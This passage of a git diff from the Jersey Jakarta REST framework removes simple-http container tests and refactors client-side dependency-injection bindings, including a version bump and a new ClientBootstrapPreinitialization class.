- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.simple;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.atomic.AtomicInteger;
-import java.util.logging.Level;
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.WebTarget;
-
-import org.glassfish.jersey.server.ResourceConfig;
-
-import org.junit.jupiter.api.Test;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-/**
- * Tests the parallel execution of multiple requests.
- *
- * @author Stepan Kopriva
- * @author Arul Dhesiaseelan (aruld at acm.org)
- */
-public class ParallelTest extends AbstractSimpleServerTester {
-
-    // Server-side dispatcher and selector pool configuration
-    private static final int selectorThreads = Runtime.getRuntime().availableProcessors();
-    private static final int dispatcherThreads = Math.max(8, selectorThreads * 2);
-
-    private static final int numberOfThreads = 100;
-
-    private static final String PATH = "test";
-    private static AtomicInteger receivedCounter = new AtomicInteger(0);
-    private static AtomicInteger resourceCounter = new AtomicInteger(0);
-    private static CountDownLatch latch = new CountDownLatch(numberOfThreads);
-
-    @Path(PATH)
-    public static class MyResource {
-
-        @GET
-        public String get() {
-            this.sleep();
-            resourceCounter.addAndGet(1);
-            return "GET";
-        }
-
-        private void sleep() {
-            try {
-                Thread.sleep(10);
-            } catch (InterruptedException ex) {
-                Logger.getLogger(ParallelTest.class.getName()).log(Level.SEVERE, null, ex);
-            }
-        }
-    }
-
-    private class ResourceThread extends Thread {
-
-        private WebTarget target;
-        private String path;
-
-        public ResourceThread(WebTarget target, String path) {
-            this.target = target;
-            this.path = path;
-        }
-
-        @Override
-        public void run() {
-            assertEquals("GET", target.path(path).request().get(String.class));
-            receivedCounter.addAndGet(1);
-            latch.countDown();
-        }
-    }
-
-    @Test
-    public void testParallel() {
-        ResourceConfig config = new ResourceConfig(MyResource.class);
-        startServer(config, dispatcherThreads, selectorThreads);
-        WebTarget target = ClientBuilder.newClient().target(getUri().path("/").build());
-
-        for (int i = 1; i <= numberOfThreads; i++) {
-            ResourceThread rt = new ResourceThread(target, PATH);
-            rt.start();
-        }
-
-        try {
-            latch.await(8000, TimeUnit.MILLISECONDS);
-        } catch (InterruptedException ex) {
-            Logger.getLogger(ParallelTest.class.getName()).log(Level.SEVERE, null, ex);
-        }
-
-        int result = receivedCounter.get();
-        assertEquals(numberOfThreads, result);
-    }
-}
diff --git a/containers/simple-http/src/test/java/org/glassfish/jersey/simple/SimpleHttpServerProviderTest.java b/containers/simple-http/src/test/java/org/glassfish/jersey/simple/SimpleHttpServerProviderTest.java
deleted file mode 100644
index 7c6f01b..0000000
--- a/containers/simple-http/src/test/java/org/glassfish/jersey/simple/SimpleHttpServerProviderTest.java
+++ /dev/null
@@ -1,195 +0,0 @@
-/*
- * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
- * Copyright (c) 2018 Markus KARG. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.simple;
-
-import static java.lang.Boolean.FALSE;
-import static java.lang.Boolean.TRUE;
-import static org.hamcrest.CoreMatchers.is;
-import static org.hamcrest.CoreMatchers.nullValue;
-import static org.hamcrest.MatcherAssert.assertThat;
-import static org.hamcrest.Matchers.greaterThan;
-import static org.hamcrest.Matchers.instanceOf;
-
-import java.security.AccessController;
-import java.security.NoSuchAlgorithmException;
-import java.util.Collections;
-import java.util.Set;
-import java.util.concurrent.CompletionStage;
-import java.util.concurrent.ExecutionException;
-import java.util.concurrent.TimeUnit;
-import java.util.logging.Level;
-import java.util.logging.Logger;
-
-import javax.net.ssl.SSLContext;
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.SeBootstrap;
-import jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.UriBuilder;
-
-import org.glassfish.jersey.internal.util.PropertiesHelper;
-import org.glassfish.jersey.server.ServerProperties;
-import org.glassfish.jersey.server.spi.Container;
-import org.glassfish.jersey.server.spi.WebServer;
-import org.glassfish.jersey.server.spi.WebServerProvider;
-import org.junit.jupiter.api.Test;
-import org.junit.jupiter.api.Timeout;
-
-/**
- * Unit tests for {@link SimpleHttpServerProvider}.
- *
- * @author Markus KARG (markus@headcrashing.eu)
- * @since 3.1.0
- */
-public final class SimpleHttpServerProviderTest {
-
-    @Test
-    @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
-    public void shouldProvideServer2() throws InterruptedException, ExecutionException {
-        // given
-        final Resource resource = new Resource();
-        shouldProvideServer(ShouldProvideServerApplication.class, resource);
-    }
-
-    @Test
-    @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
-    public void shouldProvideServerWithClass() throws InterruptedException, ExecutionException {
-        // given
-        final Resource resource = new Resource();
-        final Application application = new ShouldProvideServerApplication();
-        shouldProvideServer(application.getClass(), resource);
-    }
-
-    private void shouldProvideServer(final Object application, final Resource resource)
-            throws InterruptedException, ExecutionException {
-        // given
-        final WebServerProvider webServerProvider = new SimpleHttpServerProvider();
-        final SeBootstrap.Configuration configuration = configuration(getPort(), FALSE);
-
-        // when
-        final WebServer webServer = Application.class.isInstance(application)
-                ? webServerProvider.createServer(WebServer.class, (Application) application, configuration)
-                : webServerProvider.createServer(WebServer.class, (Class<Application>) application, configuration);
-        final Object nativeHandle = webServer.unwrap(Object.class);
-        final CompletionStage<?> start = webServer.start();
-        final Object startResult = start.toCompletableFuture().get();
-        final Container container = webServer.container();
-        final int port = webServer.port();
-        final String entity = ClientBuilder.newClient()
-                .target(UriBuilder.newInstance().scheme("http").host("localhost").port(port).build()).request()
-                .get(String.class);
-        final CompletionStage<?> stop = webServer.stop();
-        final Object stopResult = stop.toCompletableFuture().get();
-
-        // then
-        assertThat(webServer, is(instanceOf(SimpleHttpServer.class)));
-        assertThat(nativeHandle, is(instanceOf(SimpleServer.class)));
-        assertThat(startResult, is(nullValue()));
-        assertThat(container, is(instanceOf(SimpleContainer.class)));
-        assertThat(port, is(greaterThan(0)));
-        assertThat(entity, is(resource.toString()));
-        assertThat(stopResult, is(nullValue()));
-    }
-
-    @Path("/")
-    protected static final class Resource {
-        @GET
-        @Override
-        public String toString() {
-            return Resource.class.getName();
-        }
-    }
-
-    protected static class ShouldProvideServerApplication extends Application {
-        @Override
-        public Set<Object> getSingletons() {
-            return Collections.singleton(new Resource());
-        }
-    }
-
-    private static final Logger LOGGER = Logger.getLogger(SimpleHttpServerProviderTest.class.getName());
-
-    private static final int DEFAULT_PORT = 0;
-
-    private static final int getPort() {
-        final String value = AccessController
-                .doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port"));
-        if (value != null) {
-            try {
-                final int i = Integer.parseInt(value);
-                if (i < 0) {
-                    throw new NumberFormatException("Value is negative.");
-                }
-                return i;
-            } catch (final NumberFormatException e) {
-                LOGGER.log(Level.CONFIG,
-                        "Value of 'jersey.config.test.container.port'"
-                                + " property is not a valid non-negative integer [" + value + "]."
-                                + " Reverting to default [" + DEFAULT_PORT + "].",
-                        e);
-            }
-        }
-
-        return DEFAULT_PORT;
-    }
-
-    @Test
-    @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
-    public final void shouldScanFreePort() throws InterruptedException, ExecutionException {
-        // given
-        final WebServerProvider webServerProvider = new SimpleHttpServerProvider();
-        final Application application = new Application();
-        final SeBootstrap.Configuration configuration = configuration(SeBootstrap.Configuration.FREE_PORT, TRUE);
-
-        // when
-        final WebServer webServer = webServerProvider.createServer(WebServer.class, application, configuration);
-
-        // then
-        assertThat(webServer.port(), is(greaterThan(0)));
-    }
-
-    private SeBootstrap.Configuration configuration(int port, boolean autoStart) {
-        return (SeBootstrap.Configuration) name -> {
-            switch (name) {
-                case SeBootstrap.Configuration.PROTOCOL:
-                    return "HTTP";
-                case SeBootstrap.Configuration.HOST:
-                    return "localhost";
-                case SeBootstrap.Configuration.PORT:
-                    return port;
-                case SeBootstrap.Configuration.ROOT_PATH:
-                    return "/";
-                case SeBootstrap.Configuration.SSL_CLIENT_AUTHENTICATION:
-                    return SSLClientAuthentication.NONE;
-                case SeBootstrap.Configuration.SSL_CONTEXT:
-                    try {
-                        return SSLContext.getDefault();
-                    } catch (final NoSuchAlgorithmException e) {
-                        throw new RuntimeException(e);
-                    }
-                case ServerProperties.WEBSERVER_AUTO_START:
-                    return autoStart;
-                default:
-                    return null;
-            }
-        };
-    }
-
-}
diff --git a/containers/simple-http/src/test/java/org/glassfish/jersey/simple/TraceTest.java b/containers/simple-http/src/test/java/org/glassfish/jersey/simple/TraceTest.java
deleted file mode 100644
index 46a669c..0000000
--- a/containers/simple-http/src/test/java/org/glassfish/jersey/simple/TraceTest.java
+++ /dev/null
@@ -1,106 +0,0 @@
-/*
- * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.simple;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.Produces;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.core.Response;
-
-import org.junit.jupiter.api.AfterEach;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.Test;
-import static org.hamcrest.CoreMatchers.is;
-import static org.hamcrest.MatcherAssert.assertThat;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-public class TraceTest extends AbstractSimpleServerTester {
-
-    @Path("helloworld")
-    public static class HelloWorldResource {
-        public static final String CLICHED_MESSAGE = "Hello World!";
-
-        @GET
-        @Produces("text/plain")
-        public String getHello() {
-            return CLICHED_MESSAGE;
-        }
-    }
-
-    @Path("/users")
-    public class UserResource {
-
-        @Path("/current")
-        @GET
-        @Produces("text/plain")
-        public String getCurrentUser() {
-            return "current user";
-        }
-    }
-
-    private Client client;
-
-    @BeforeEach
-    public void setUp() throws Exception {
-        startServerNoLoggingFilter(HelloWorldResource.class, UserResource.class); // disable crude
-        // LoggingFilter
-        setDebug(true);
-        client = ClientBuilder.newClient();
-    }
-
-    @Override
-    @AfterEach
-    public void tearDown() {
-        super.tearDown();
-        client = null;
-    }
-
-
-    @Test
-    public void testFooBarOptions() {
-        for (int i = 0; i < 100; i++) {
-            Response response = client.target(getUri()).path("helloworld").request()
-                                      .header("Accept", "foo/bar").options();
-            assertEquals(200, response.getStatus());
-            final String allowHeader = response.getHeaderString("Allow");
-            _checkAllowContent(allowHeader);
-            assertEquals(0, response.getLength());
-            assertEquals("foo/bar", response.getMediaType().toString());
-
-            try {
-                Thread.sleep(50);
-            } catch (Exception e) {
-                e.printStackTrace();
-            }
-        }
-    }
-
-    private void _checkAllowContent(final String content) {
-        assertTrue(content.contains("GET"));
-        assertTrue(content.contains("HEAD"));
-        assertTrue(content.contains("OPTIONS"));
-    }
-
-    @Test
-    public void testNoDefaultMethod() {
-        Response response = client.target(getUri()).path("/users").request().options();
-        assertThat(response.getStatus(), is(404));
-    }
-}
diff --git a/core-client/pom.xml b/core-client/pom.xml
index ae453c7..dcb3c0d 100644
--- a/core-client/pom.xml
+++ b/core-client/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.core</groupId>
@@ -92,6 +92,7 @@
                     <instructions>
                         <Import-Package>
                             ${jakarta.annotation.osgi.version},
+                            ${jakarta.rest.osgi.version},
                             *
                         </Import-Package>
                         <unpackBundle>true</unpackBundle>
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/ClientBinder.java b/core-client/src/main/java/org/glassfish/jersey/client/ClientBinder.java
index a48e353..c2f7fa1 100644
--- a/core-client/src/main/java/org/glassfish/jersey/client/ClientBinder.java
+++ b/core-client/src/main/java/org/glassfish/jersey/client/ClientBinder.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -29,8 +29,9 @@
 import jakarta.inject.Provider;
 import jakarta.inject.Singleton;
 
+import org.glassfish.jersey.innate.inject.InjectionIds;
+import org.glassfish.jersey.innate.inject.InternalBinder;
 import org.glassfish.jersey.internal.PropertiesDelegate;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
 import org.glassfish.jersey.internal.inject.ReferencingFactory;
 import org.glassfish.jersey.internal.util.collection.Ref;
 import org.glassfish.jersey.message.internal.MessagingBinders;
@@ -43,7 +44,7 @@
  * @author Jakub Podlesak
  * @author Libor Kramolis
  */
-class ClientBinder extends AbstractBinder {
+class ClientBinder extends InternalBinder {
 
     private final Map<String, Object> clientRuntimeProperties;
 
@@ -82,24 +83,28 @@
     @Override
     protected void configure() {
         install(new MessagingBinders.MessageBodyProviders(clientRuntimeProperties, RuntimeType.CLIENT),
-                new MessagingBinders.HeaderDelegateProviders());
+                new MessagingBinders.HeaderDelegateProviders(RuntimeType.CLIENT));
 
         bindFactory(ReferencingFactory.referenceFactory()).to(new GenericType<Ref<ClientConfig>>() {
-        }).in(RequestScoped.class);
+        }).in(RequestScoped.class).id(InjectionIds.CLIENT_CLIENT_CONFIG.id());
 
         bindFactory(RequestContextInjectionFactory.class)
                 .to(ClientRequest.class)
-                .in(RequestScoped.class);
+                .in(RequestScoped.class)
+                .id(InjectionIds.CLIENT_CLIENT_REQUEST.id());
 
         bindFactory(RequestContextInjectionFactory.class).to(HttpHeaders.class)
-                .proxy(true).proxyForSameScope(false).in(RequestScoped.class);
+                .proxy(true).proxyForSameScope(false).in(RequestScoped.class)
+                .id(InjectionIds.CLIENT_HTTP_HEADERS.id());
 
         bindFactory(ReferencingFactory.referenceFactory()).to(new GenericType<Ref<ClientRequest>>() {
-        }).in(RequestScoped.class);
+        }).in(RequestScoped.class).id(InjectionIds.CLIENT_CLIENT_REQUEST_REF_FACTORY.id());
 
-        bindFactory(PropertiesDelegateFactory.class, Singleton.class).to(PropertiesDelegate.class).in(RequestScoped.class);
+        bindFactory(PropertiesDelegateFactory.class, Singleton.class).to(PropertiesDelegate.class).in(RequestScoped.class)
+                .forClient(true).id(InjectionIds.COMMON_PROPERTIES_DELEGATE.id());
 
         // ChunkedInput entity support
-        bind(ChunkedInputReader.class).to(MessageBodyReader.class).in(Singleton.class);
+        bind(ChunkedInputReader.class).to(MessageBodyReader.class).in(Singleton.class)
+                .id(InjectionIds.CLIENT_CHUNKED_INPUT_READER.id());
     }
 }
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/ClientBootstrapPreinitialization.java b/core-client/src/main/java/org/glassfish/jersey/client/ClientBootstrapPreinitialization.java
new file mode 100644
index 0000000..c73cf7f
--- /dev/null
+++ b/core-client/src/main/java/org/glassfish/jersey/client/ClientBootstrapPreinitialization.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.client;
+
+import org.glassfish.jersey.innate.BootstrapPreinitialization;
+import org.glassfish.jersey.internal.inject.InjectionManager;
+
+import jakarta.ws.rs.RuntimeType;
+
+public class ClientBootstrapPreinitialization implements BootstrapPreinitialization {
+    @Override
+    public void preregister(RuntimeType runtimeType, InjectionManager injectionManager) {
+        if (runtimeType == RuntimeType.CLIENT) {
+            new ClientConfig.PreInitialization(injectionManager);
+        }
+    }
+}
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/ClientConfig.java b/core-client/src/main/java/org/glassfish/jersey/client/ClientConfig.java
index b072c1d..53cc138 100644
--- a/core-client/src/main/java/org/glassfish/jersey/client/ClientConfig.java
+++ b/core-client/src/main/java/org/glassfish/jersey/client/ClientConfig.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  * Copyright (c) 2018 Payara Foundation and/or its affiliates.
  *
  * This program and the accompanying materials are made available under the
@@ -39,6 +39,9 @@
 import org.glassfish.jersey.client.internal.inject.ParameterUpdaterConfigurator;
 import org.glassfish.jersey.client.spi.Connector;
 import org.glassfish.jersey.client.spi.ConnectorProvider;
+import org.glassfish.jersey.innate.inject.Bindings;
+import org.glassfish.jersey.innate.inject.InjectionIds;
+import org.glassfish.jersey.innate.inject.ProviderBinder;
 import org.glassfish.jersey.internal.AutoDiscoverableConfigurator;
 import org.glassfish.jersey.internal.BootstrapBag;
 import org.glassfish.jersey.internal.BootstrapConfigurator;
@@ -47,10 +50,8 @@
 import org.glassfish.jersey.internal.FeatureConfigurator;
 import org.glassfish.jersey.internal.JaxrsProviders;
 import org.glassfish.jersey.internal.ServiceFinder;
-import org.glassfish.jersey.internal.inject.Bindings;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.Injections;
-import org.glassfish.jersey.internal.inject.ProviderBinder;
 import org.glassfish.jersey.internal.spi.AutoDiscoverable;
 import org.glassfish.jersey.internal.util.collection.LazyValue;
 import org.glassfish.jersey.internal.util.collection.Value;
@@ -88,7 +89,8 @@
         @Override
         public void init(InjectionManager injectionManager, BootstrapBag bootstrapBag) {
             bootstrapBag.setConfiguration(runtimeConfig);
-            injectionManager.register(Bindings.service(runtimeConfig).to(Configuration.class));
+            injectionManager.register(Bindings.service(runtimeConfig).to(Configuration.class).forClient(true)
+                    .id(InjectionIds.COMMON_CONFIGURATION.id()));
         }
     }
 
@@ -417,69 +419,27 @@
             runtimeCfgState.markAsShared();
 
             final InjectionManager injectionManager = findInjectionManager();
-            injectionManager.register(new ClientBinder(runtimeCfgState.getProperties()));
-
-            final ClientBootstrapBag bootstrapBag = new ClientBootstrapBag();
-            bootstrapBag.setManagedObjectsFinalizer(new ManagedObjectsFinalizer(injectionManager));
-
-            final ClientMessageBodyFactory.MessageBodyWorkersConfigurator messageBodyWorkersConfigurator =
-                    new ClientMessageBodyFactory.MessageBodyWorkersConfigurator();
-
-            List<BootstrapConfigurator> bootstrapConfigurators = Arrays.asList(
-                    new RequestScope.RequestScopeConfigurator(),
-                    new ParamConverterConfigurator(),
-                    new ParameterUpdaterConfigurator(),
-                    new RuntimeConfigConfigurator(runtimeCfgState),
-                    new ContextResolverFactory.ContextResolversConfigurator(),
-                    messageBodyWorkersConfigurator,
-                    new ExceptionMapperFactory.ExceptionMappersConfigurator(),
-                    new JaxrsProviders.ProvidersConfigurator(),
-                    new AutoDiscoverableConfigurator(RuntimeType.CLIENT),
-                    new ClientComponentConfigurator(),
-                    new FeatureConfigurator(RuntimeType.CLIENT));
-            bootstrapConfigurators.forEach(configurator -> configurator.init(injectionManager, bootstrapBag));
-
-            // AutoDiscoverable.
-            if (!CommonProperties.getValue(runtimeCfgState.getProperties(), RuntimeType.CLIENT,
-                    CommonProperties.FEATURE_AUTO_DISCOVERY_DISABLE, Boolean.FALSE, Boolean.class)) {
-                runtimeCfgState.configureAutoDiscoverableProviders(injectionManager, bootstrapBag.getAutoDiscoverables());
-            } else {
-                runtimeCfgState.configureForcedAutoDiscoverableProviders(injectionManager);
-            }
-
-            // Configure binders and features.
-            runtimeCfgState.configureMetaProviders(injectionManager, bootstrapBag.getManagedObjectsFinalizer());
-
-            // Bind providers.
-            final Collection<ComponentProvider> componentProviders = bootstrapBag.getComponentProviders().get();
-            ProviderBinder.bindProviders(
-                    runtimeCfgState.getComponentBag(), RuntimeType.CLIENT, null, injectionManager, componentProviders
-            );
-
-            ClientExecutorProvidersConfigurator executorProvidersConfigurator =
-                    new ClientExecutorProvidersConfigurator(runtimeCfgState.getComponentBag(),
-                            runtimeCfgState.client,
-                            this.executorService,
-                            this.scheduledExecutorService);
-            executorProvidersConfigurator.init(injectionManager, bootstrapBag);
+            final PreInitialization preInit =
+                    new PreInitialization(runtimeCfgState, injectionManager, this.executorService, this.scheduledExecutorService);
+            List<BootstrapConfigurator> bootstrapConfigurators = preInit.bootstrapConfigurators;
 
             injectionManager.completeRegistration();
 
-            bootstrapConfigurators.forEach(configurator -> configurator.postInit(injectionManager, bootstrapBag));
+            bootstrapConfigurators.forEach(configurator -> configurator.postInit(injectionManager, preInit.bootstrapBag));
 
             final ClientConfig configuration = new ClientConfig(runtimeCfgState);
             final Connector connector = connectorProvider.getConnector(client, configuration);
-            final ClientRuntime crt = new ClientRuntime(configuration, connector, injectionManager, bootstrapBag);
+            final ClientRuntime crt = new ClientRuntime(configuration, connector, injectionManager, preInit.bootstrapBag);
 
             client.registerShutdownHook(crt);
-            messageBodyWorkersConfigurator.setClientRuntime(crt);
+            preInit.messageBodyWorkersConfigurator.setClientRuntime(crt);
 
             return crt;
         }
 
-        private final InjectionManager findInjectionManager() {
+        private InjectionManager findInjectionManager() {
             try {
-                return Injections.createInjectionManager(RuntimeType.CLIENT);
+                return Injections.createInjectionManager(commonConfig);
             } catch (IllegalStateException ise) {
                 return new NonInjectionManager(true);
             }
@@ -515,6 +475,68 @@
         }
     }
 
+    /* package */ static class PreInitialization {
+        private final ClientBootstrapBag bootstrapBag;
+        private final List<BootstrapConfigurator> bootstrapConfigurators;
+        private final ClientMessageBodyFactory.MessageBodyWorkersConfigurator messageBodyWorkersConfigurator;
+
+        /* package */ PreInitialization(InjectionManager injectionManager) {
+            this(new State(new JerseyClient()), injectionManager, null, null);
+        }
+
+
+        /* package */ PreInitialization(
+                State runtimeCfgState,
+                InjectionManager injectionManager,
+                ExecutorService executorService,
+                ScheduledExecutorService scheduledExecutorService) {
+            injectionManager.register(new ClientBinder(runtimeCfgState.getProperties()));
+
+            bootstrapBag = new ClientBootstrapBag();
+            bootstrapBag.setManagedObjectsFinalizer(new ManagedObjectsFinalizer(injectionManager));
+
+            messageBodyWorkersConfigurator = new ClientMessageBodyFactory.MessageBodyWorkersConfigurator(); // 2020
+
+            bootstrapConfigurators = Arrays.asList(
+                    new RequestScope.RequestScopeConfigurator(),
+                    new ParamConverterConfigurator(), // 2010
+                    new ParameterUpdaterConfigurator(), // 2011
+                    new RuntimeConfigConfigurator(runtimeCfgState), // 2012
+                    new ContextResolverFactory.ContextResolversConfigurator(), // 2014
+                    messageBodyWorkersConfigurator,
+                    new ExceptionMapperFactory.ExceptionMappersConfigurator(), // 2015
+                    new JaxrsProviders.ProvidersConfigurator(), // 2016
+                    new AutoDiscoverableConfigurator(RuntimeType.CLIENT),
+                    new ClientComponentConfigurator(),
+                    new FeatureConfigurator(RuntimeType.CLIENT));
+            bootstrapConfigurators.forEach(configurator -> configurator.init(injectionManager, bootstrapBag));
+
+            // AutoDiscoverable.
+            if (!CommonProperties.getValue(runtimeCfgState.getProperties(), RuntimeType.CLIENT,
+                    CommonProperties.FEATURE_AUTO_DISCOVERY_DISABLE, Boolean.FALSE, Boolean.class)) {
+                runtimeCfgState.configureAutoDiscoverableProviders(injectionManager, bootstrapBag.getAutoDiscoverables());
+            } else {
+                runtimeCfgState.configureForcedAutoDiscoverableProviders(injectionManager);
+            }
+
+            // Configure binders and features.
+            runtimeCfgState.configureMetaProviders(injectionManager, bootstrapBag.getManagedObjectsFinalizer());
+
+            // Bind providers.
+            final Collection<ComponentProvider> componentProviders = bootstrapBag.getComponentProviders().get();
+            ProviderBinder.bindProviders(
+                    runtimeCfgState.getComponentBag(), RuntimeType.CLIENT, null, injectionManager, componentProviders
+            );
+
+            ClientExecutorProvidersConfigurator executorProvidersConfigurator =
+                    new ClientExecutorProvidersConfigurator(runtimeCfgState.getComponentBag(),
+                            runtimeCfgState.client,
+                            executorService,
+                            scheduledExecutorService);
+            executorProvidersConfigurator.init(injectionManager, bootstrapBag);
+        }
+    }
+
     /**
      * Construct a new Jersey configuration instance with the default features
      * and property values.
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/ClientExecutorProvidersConfigurator.java b/core-client/src/main/java/org/glassfish/jersey/client/ClientExecutorProvidersConfigurator.java
index ab5b9f5..9b128d0 100644
--- a/core-client/src/main/java/org/glassfish/jersey/client/ClientExecutorProvidersConfigurator.java
+++ b/core-client/src/main/java/org/glassfish/jersey/client/ClientExecutorProvidersConfigurator.java
@@ -24,10 +24,11 @@
 import java.util.logging.Level;
 import java.util.logging.Logger;
 
+import org.glassfish.jersey.innate.inject.Bindings;
+import org.glassfish.jersey.innate.inject.InjectionIds;
 import org.glassfish.jersey.internal.BootstrapBag;
-import org.glassfish.jersey.internal.inject.Bindings;
+import org.glassfish.jersey.internal.inject.Binding;
 import org.glassfish.jersey.internal.inject.InjectionManager;
-import org.glassfish.jersey.internal.inject.InstanceBinding;
 import org.glassfish.jersey.internal.util.ReflectionHelper;
 import org.glassfish.jersey.internal.util.collection.Value;
 import org.glassfish.jersey.internal.util.collection.Values;
@@ -36,6 +37,7 @@
 import org.glassfish.jersey.spi.ExecutorServiceProvider;
 import org.glassfish.jersey.spi.ScheduledExecutorServiceProvider;
 
+import jakarta.ws.rs.RuntimeType;
 import jakarta.ws.rs.core.Configuration;
 
 /**
@@ -91,7 +93,7 @@
             if (asyncThreadPoolSize != null) {
                 // TODO: Do we need to register DEFAULT Executor and ScheduledExecutor to InjectionManager?
                 asyncThreadPoolSize = (asyncThreadPoolSize < 0) ? 0 : asyncThreadPoolSize;
-                InstanceBinding<Integer> asyncThreadPoolSizeBinding = Bindings
+                Binding<Integer, ?> asyncThreadPoolSizeBinding = Bindings
                         .service(asyncThreadPoolSize)
                         .named("ClientAsyncThreadPoolSize");
                 injectionManager.register(asyncThreadPoolSizeBinding);
@@ -106,9 +108,11 @@
             }
         }
 
-        InstanceBinding<ExecutorServiceProvider> executorBinding = Bindings
+        Binding<ExecutorServiceProvider, ?> executorBinding = Bindings
                 .service(defaultAsyncExecutorProvider)
-                .to(ExecutorServiceProvider.class);
+                .to(ExecutorServiceProvider.class)
+                .forClient(true)
+                .id(InjectionIds.CLIENT_EXECUTOR_SERVICE_PROVIDER.id());
 
         injectionManager.register(executorBinding);
 
@@ -130,13 +134,15 @@
                         : new ClientScheduledExecutorServiceProvider(Values.of(scheduledExecutorService));
         }
 
-        InstanceBinding<ScheduledExecutorServiceProvider> schedulerBinding = Bindings
+        Binding<ScheduledExecutorServiceProvider, ?> schedulerBinding = Bindings
                 .service(defaultScheduledExecutorProvider)
-                .to(ScheduledExecutorServiceProvider.class);
+                .to(ScheduledExecutorServiceProvider.class)
+                .forClient(true)
+                .id(InjectionIds.CLIENT_SCHEDULED_EXECUTOR_SERVICE_PROVIDER.id());
         injectionManager.register(schedulerBinding);
 
         registerExecutors(injectionManager, componentBag, defaultAsyncExecutorProvider,
-                defaultScheduledExecutorProvider, bootstrapBag.getManagedObjectsFinalizer());
+                defaultScheduledExecutorProvider, bootstrapBag.getManagedObjectsFinalizer(), RuntimeType.CLIENT);
     }
 
     private static ExecutorService lookupManagedExecutorService() {
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/ClientMessageBodyFactory.java b/core-client/src/main/java/org/glassfish/jersey/client/ClientMessageBodyFactory.java
index bbd0abc..93bdca8 100644
--- a/core-client/src/main/java/org/glassfish/jersey/client/ClientMessageBodyFactory.java
+++ b/core-client/src/main/java/org/glassfish/jersey/client/ClientMessageBodyFactory.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,11 +16,12 @@
 
 package org.glassfish.jersey.client;
 
+import org.glassfish.jersey.innate.inject.Bindings;
+import org.glassfish.jersey.innate.inject.InjectionIds;
 import org.glassfish.jersey.internal.BootstrapBag;
 import org.glassfish.jersey.internal.BootstrapConfigurator;
